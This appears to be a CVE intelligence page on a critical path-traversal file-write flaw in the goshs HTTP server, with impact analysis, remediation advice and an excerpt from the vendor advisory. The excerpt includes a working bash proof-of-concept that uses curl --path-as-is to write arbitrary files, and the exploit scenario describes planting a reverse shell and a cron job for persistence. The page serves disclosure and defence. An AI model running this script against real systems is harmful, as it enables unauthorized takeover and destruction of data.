Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend PUT request with path traversal payload
-
ExploitBypass unsanitized path handling in handler
-
ExecutionWrite malicious file outside webroot
-
ImpactExecute arbitrary code or overwrite system files
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions — remote unauthenticated exploitation against default installations. Attacker sends HTTP PUT requests with path traversal sequences (e.g., PUT /../../../etc/passwd) to the httpserver, which fails to sanitize req.URL.Path before writing files outside the intended webroot. |
| Impact | This vulnerability represents critical real-world risk despite absence from CISA KEV. The CVSS 9.8 score accurately reflects exploitation conditions: network-accessible (AV:N), trivial complexity (AC:L), no authentication required (PR:N), no user interaction (UI:N), and full system impact (C:H/I:H/A:H). The GitHub security advisory includes a working proof-of-concept demonstrating file overwrite with a simple bash script, confirming the attack is practical and reproducible. Exploitation requires only HTTP access to the server and a single PUT request with URL-encoded path traversal-easily automatable for mass scanning. The default-vulnerable configuration amplifies risk since no opt-in features or misconfigurations are required. Real-world impact scenarios include overwriting system binaries, SSH authorized_keys files, cron jobs, or application code to achieve remote code execution. SSVC technical impact would classify as total (arbitrary file write enabling full system compromise). The primary risk mitigation is that goshs appears to be a lightweight utility server rather than enterprise infrastructure, potentially limiting exposure scope, but any internet-facing instance is immediately exploitable. |
| Exploit ScenarioDerived | An attacker scans the internet for goshs instances running on common ports (8000, 8080) using HTTP fingerprinting. Upon identifying a target, they craft a PUT request to http://target:8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/tmp/malicious.sh containing a reverse shell payload, using curl with the --path-as-is flag to prevent client-side path normalization. The server's concatenation of UploadFolder with the URL-encoded traversal sequence writes the file to /tmp/malicious.sh on the host filesystem. The attacker then uploads a second file to overwrite /etc/cron.d/persistence to execute their payload every minute, achieving persistent remote code execution with the privileges of the goshs process. Publicly available exploit code exists in the form of the proof-of-concept bash script included in the GitHub security advisory, demonstrating the attack requires minimal sophistication. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 03, 2026
Arbitrary file write in goshs HTTP server allows unauthenticated remote attackers to overwrite any file on the target system via path traversal in PUT requests. The PUT upload handler in goshs (a Go-based simple HTTP server) performs no path sanitization on user-supplied URL paths, enabling direct filesystem access outside the intended webroot through URL-encoded directory traversal sequences (%2e%2e/). CVSS 9.8 reflects network-accessible exploitation requiring no authentication or user interaction. No public exploit identified at time of analysis beyond the proof-of-concept in the security advisory. EPSS data not available, but the trivial exploit complexity (single curl command with --path-as-is flag) and default-vulnerable configuration present significant risk to exposed instances.
RemediationAI
Users should immediately upgrade to the patched version of goshs available from the project's GitHub repository at github.com/patrickhener/goshs. The vendor security advisory at https://github.com/patrickhener/goshs/security/advisories/GHSA-g8mv-vp7j-qp64 contains specific remediation guidance. The fix implements proper path sanitization using filepath.Clean() to normalize paths and validates that resolved file paths remain within the intended webroot boundary before file operations. Until patching is possible, operators should disable PUT request handling entirely by blocking HTTP PUT methods at the reverse proxy or firewall layer, or restrict goshs access to trusted networks only via firewall rules. Network segmentation to prevent goshs instances from being directly internet-accessible provides defense-in-depth. Do not rely on authentication overlays alone as the vulnerability exists in the core request handling logic before any authentication checks.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in goshs's PUT request handler (httpserver/updown.go), a Go-based file server utility. The affected code directly concatenates the raw HTTP request URL path (req.URL.Path) with the configured UploadFolder directory without applying filepath.Clean() normalization or validating containment within the webroot. Go's net/http router passes URL paths as-is to handlers, meaning URL-encoded traversal sequences like %2e%2e/ (representing ../) bypass client-side normalization when the --path-as-is curl flag is used. The server then passes this unsanitized string to os.Create(), allowing writes to arbitrary filesystem locations. This is a classic CWE-22 (Path Traversal) vulnerability where insufficient input validation on file path construction enables directory traversal attacks. The UploadFolder defaults to Webroot in the application's main configuration, but the lack of any path boundary checking means an attacker can escape any configured directory through repeated traversal sequences.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/patrickhener/goshs).
CVSS VectorVendor: https://github.com/patrickhener/goshs
Lifecycle Timeline
2DescriptionCVE.org
Summary
- PUT upload has no path sanitization |
httpserver/updown.go:20-69
This finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/updown.go:20-69 Trigger: PUT /<path> (server.go:57-59 routes directly to put())
The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
upath := req.URL.Path // unsanitized
filename := strings.Split(upath, "/")
outName := filename[len(filename)-1]
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]
target := strings.Join(targetpath, "/")
savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
// ...
os.Create(savepath) // arbitrary path writeUploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.
Impact: Unauthenticated arbitrary file write anywhere on the filesystem.
PoCs:
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / from target
TARGET_REL="${TARGET#/}"
PUT_PATH="/${TRAVERSAL}${TARGET_REL}"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] PUT: ${PUT_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X PUT --data-binary "@${LOCAL_FILE}" \
"http://${HOST}:${PORT}${PUT_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
Executive ViewAI
CVE-2026-35392 is a critical arbitrary file write vulnerability in goshs HTTP server that allows unauthenticated remote attackers to overwrite any file on affected systems through path traversal in PUT requests. Any organization running goshs as a publicly accessible service faces immediate risk of system compromise, data destruction, or malware injection without authentication barriers. This vulnerability requires urgent patching across all exposed instances.
Apply vendor patch. If patching cannot be completed within 24 hours: implement network segmentation or WAF rules to block PUT requests to goshs endpoints, disable PUT method at reverse proxy/load balancer level, and restrict network access to localhost or trusted IPs only until patched.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Related Vulnerabilities in Updown Server Path Traversal
View all 2Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
EUVD-2026-19488
GHSA-g8mv-vp7j-qp64
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB